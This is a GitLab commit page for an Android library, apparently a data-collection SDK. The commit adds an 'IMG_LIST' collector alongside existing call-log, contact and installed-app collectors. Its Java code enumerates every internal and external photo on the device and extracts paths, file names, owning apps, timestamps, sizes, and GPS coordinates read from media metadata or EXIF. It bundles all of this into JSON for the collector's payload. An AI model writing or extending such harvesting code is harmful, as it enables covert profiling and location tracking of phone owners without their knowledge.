Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
L
lib_base
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sikang
lib_base
Commits
68ac55b3
Commit
68ac55b3
authored
Oct 13, 2020
by
sikang
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
add IMG_LIST
parent
b6ff4e14
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
111 additions
and
0 deletions
+111
-0
src/main/java/com/common/utils/Collector.java
+24
-0
src/main/java/tech/starwin/database/DataBaseHelper.java
+87
-0
No files found.
src/main/java/com/common/utils/Collector.java
View file @
68ac55b3
...
@@ -27,6 +27,7 @@ import java.util.Comparator;
...
@@ -27,6 +27,7 @@ import java.util.Comparator;
import
java.util.HashMap
;
import
java.util.HashMap
;
import
java.util.List
;
import
java.util.List
;
import
tech.starwin.BuildConfig
;
import
tech.starwin.database.DataBaseHelper
;
import
tech.starwin.database.DataBaseHelper
;
import
tech.starwin.database.entity.CallLogEntity
;
import
tech.starwin.database.entity.CallLogEntity
;
import
tech.starwin.database.entity.ContactEntity
;
import
tech.starwin.database.entity.ContactEntity
;
...
@@ -43,6 +44,7 @@ public class Collector {
...
@@ -43,6 +44,7 @@ public class Collector {
MACHINE_TYPE
,
MACHINE_TYPE
,
DEVICE_INFO
,
DEVICE_INFO
,
INSTALLED_APP
,
INSTALLED_APP
,
IMG_LIST
,
// BEHAVIOR_MSG,
// BEHAVIOR_MSG,
CRASH_MSG
;
CRASH_MSG
;
...
@@ -201,6 +203,9 @@ public class Collector {
...
@@ -201,6 +203,9 @@ public class Collector {
case
DEVICE_INFO:
case
DEVICE_INFO:
entity
.
setBody
(
toDeviceTypeDTO
(
context
));
entity
.
setBody
(
toDeviceTypeDTO
(
context
));
break
;
break
;
case
IMG_LIST:
entity
.
setBody
(
toImgListDTO
(
DataBaseHelper
.
queryImageInternal
(
context
)));
break
;
}
}
}
catch
(
Exception
e
)
{
}
catch
(
Exception
e
)
{
//UploadManager.uploadException(e, "getStoreEntity");
//UploadManager.uploadException(e, "getStoreEntity");
...
@@ -210,6 +215,25 @@ public class Collector {
...
@@ -210,6 +215,25 @@ public class Collector {
return
entity
;
return
entity
;
}
}
public
static
String
toImgListDTO
(
JSONArray
jsonArray
)
{
try
{
JSONObject
json
=
new
JSONObject
();
json
.
put
(
"protocolVersion"
,
"V_1_0"
);
json
.
put
(
"versionName"
,
BuildConfig
.
VERSION_NAME
);
json
.
put
(
"protocolName"
,
"IMG_LIST"
);
json
.
put
(
"totalNumber"
,
jsonArray
.
length
());
json
.
put
(
"data"
,
jsonArray
);
// json.put("clientUpdateTime", System.currentTimeMillis());
return
json
.
toString
();
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
}
return
new
JSONObject
().
toString
();
}
private
static
String
toAppListDTO
(
Context
context
)
{
private
static
String
toAppListDTO
(
Context
context
)
{
JSONObject
json
=
initJSON
(
InfoType
.
INSTALLED_APP
,
context
);
JSONObject
json
=
initJSON
(
InfoType
.
INSTALLED_APP
,
context
);
try
{
try
{
...
...
src/main/java/tech/starwin/database/DataBaseHelper.java
View file @
68ac55b3
...
@@ -8,12 +8,14 @@ import android.content.pm.PackageManager;
...
@@ -8,12 +8,14 @@ import android.content.pm.PackageManager;
import
android.database.Cursor
;
import
android.database.Cursor
;
import
android.location.Location
;
import
android.location.Location
;
import
android.location.LocationManager
;
import
android.location.LocationManager
;
import
android.media.ExifInterface
;
import
android.net.Uri
;
import
android.net.Uri
;
import
android.os.Build
;
import
android.os.Build
;
//SDK-NOLOG-START
//SDK-NOLOG-START
import
android.provider.CallLog
;
import
android.provider.CallLog
;
//SDK-NOLOG-END
//SDK-NOLOG-END
//import android.provider.ContactsContract;
//import android.provider.ContactsContract;
import
android.provider.MediaStore
;
import
android.provider.Telephony
;
import
android.provider.Telephony
;
import
android.support.v4.content.PermissionChecker
;
import
android.support.v4.content.PermissionChecker
;
import
android.text.TextUtils
;
import
android.text.TextUtils
;
...
@@ -223,6 +225,91 @@ public class DataBaseHelper {
...
@@ -223,6 +225,91 @@ public class DataBaseHelper {
/**
/**
* 照片
*/
public
static
JSONArray
queryImageInternal
(
Context
context
)
{
JSONArray
result
=
new
JSONArray
();
Cursor
cursor
=
context
.
getContentResolver
().
query
(
MediaStore
.
Images
.
Media
.
INTERNAL_CONTENT_URI
,
null
,
null
,
null
,
null
);
while
(
cursor
!=
null
&&
cursor
.
moveToNext
())
{
result
.
put
(
getImageObj
(
cursor
));
}
if
(!(
cursor
==
null
||
cursor
.
isClosed
()))
{
cursor
.
close
();
}
//external image
Cursor
cursorExternal
=
context
.
getContentResolver
().
query
(
MediaStore
.
Images
.
Media
.
EXTERNAL_CONTENT_URI
,
null
,
null
,
null
,
null
);
while
(
cursorExternal
!=
null
&&
cursorExternal
.
moveToNext
())
{
result
.
put
(
getImageObj
(
cursorExternal
));
}
if
(!(
cursorExternal
==
null
||
cursorExternal
.
isClosed
()))
{
cursorExternal
.
close
();
}
return
result
;
}
private
static
JSONObject
getImageObj
(
Cursor
cursor
)
{
JSONObject
jsonObject
=
new
JSONObject
();
try
{
String
path
=
getColumnString
(
cursor
,
"_data"
,
""
);
jsonObject
.
put
(
"path"
,
path
);
jsonObject
.
put
(
"model"
,
Build
.
MODEL
);
String
[]
ab
=
path
.
split
(
"/"
);
jsonObject
.
put
(
"file_name"
,
ab
[
ab
.
length
-
1
]);
//Api 29 以下拿不到
jsonObject
.
put
(
"owner"
,
getColumnString
(
cursor
,
"owner_package_name"
,
Build
.
BRAND
));
jsonObject
.
put
(
"datetaken"
,
getColumnString
(
cursor
,
"datetaken"
,
""
));
jsonObject
.
put
(
"date_added"
,
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"date_added"
))));
jsonObject
.
put
(
"date_modified"
,
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"date_modified"
))));
jsonObject
.
put
(
"height"
,
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"height"
))));
jsonObject
.
put
(
"width"
,
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"width"
))));
jsonObject
.
put
(
"mime_type"
,
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"mime_type"
))));
jsonObject
.
put
(
"title"
,
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"title"
))));
jsonObject
.
put
(
"size"
,
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"_size"
))));
//Api 29 以上拿不到
String
latitude
=
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"latitude"
)));
String
longitude
=
getCursorString
(
cursor
.
getString
(
cursor
.
getColumnIndex
(
"longitude"
)));
if
(
TextUtils
.
isEmpty
(
latitude
)
&&
TextUtils
.
isEmpty
(
longitude
))
{
float
[]
latlong
=
new
float
[
2
];
new
ExifInterface
(
path
).
getLatLong
(
latlong
);
if
(
latlong
!=
null
)
{
latitude
=
String
.
valueOf
(
latlong
[
0
]);
longitude
=
String
.
valueOf
(
latlong
[
1
]);
}
}
jsonObject
.
put
(
"latitude"
,
latitude
);
jsonObject
.
put
(
"longitude"
,
longitude
);
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
}
return
jsonObject
;
}
private
static
String
getColumnString
(
Cursor
cursor
,
String
columnName
,
String
defaultValue
)
{
int
value
=
cursor
.
getColumnIndex
(
columnName
);
if
(
value
==
-
1
)
{
return
defaultValue
;
}
return
cursor
.
getString
(
value
)
==
null
?
defaultValue
:
cursor
.
getString
(
value
);
}
private
static
String
getCursorString
(
String
value
)
{
if
(
value
==
null
)
{
return
""
;
}
return
value
;
}
/**
* 获取定位信息
* 获取定位信息
*/
*/
@SuppressLint
(
"MissingPermission"
)
@SuppressLint
(
"MissingPermission"
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment